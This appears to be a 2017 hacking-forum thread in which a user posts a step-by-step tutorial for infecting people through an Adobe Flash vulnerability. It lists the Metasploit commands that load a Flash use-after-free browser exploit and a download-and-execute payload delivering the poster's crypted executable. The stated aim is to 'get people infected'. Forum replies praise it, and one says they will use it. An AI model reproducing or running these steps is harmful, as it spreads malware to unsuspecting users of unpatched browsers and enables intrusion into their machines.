Thread: [\[TUT\] Flash Player Spreading](#)

Crippy - May 16, 2017, 8:14 am

ADOBE HAS PATCHED THIS EXPLOIT BUT MOST PEOPLE DON'T UPDATE THEIR FLASH SO ITS FINE!

Hey this is my second tutorial Ive posted if you want more please give me positive feedback thanks.

Flash Player Spreading

You'll need:

Metasploit

A Crypted Stub

First of all make sure you are running metasploit at its latest update. If you are using Linux OS do "msfupdate" this will get updates.

Now lets get into the TUT.

Type in:

"use exploit/multi/browser/adobe_flash_hacking_team_uaf"

This will load the config of the exploit so we can set it up.

Type in:

"set payload windows/download_exec"

This adds our payload, which uses the exploit to execute the stubs on their systems.

Type in:

"set infilename <location-of-your-exe-goes-here>"

For example "set infilename C:/User/Desktop/Server.exe"

Now after you set the file path you want to run the exploit.

So type in:

"exploit"

That will run the exploit. This will download and execute your server on the network that will be running flash so you will get people infected!

Thanks, If you want more just give me positive feedback!

Bye.

IF ANY ERRORS JUST TELL ME HERE, THANKS!

Interesting post. But then again most browsers such as chrome and Firefox don't allow flash by

default and they would auto update it if you enable so this method probably won't work for many computers at all.

Yeah I agree. Ive tried this and got tons of connections and different OS's so I think it works fine, its worth a try only takes about 10minutes to setup.

rayko0 Expert - May 17, 2017, 6:08 pm

nice tut bro

Hey

thanks for sharing it
until which version it works?
i'll use it for sure...

This is a great TUT guys bumping this so people can learn from it and even try it out!

Hope you enjoy it!

Crippy - August 31, 2017, 3:48 pm

Bumping this thread so people see this, trying to help out :D.

Enjoy.
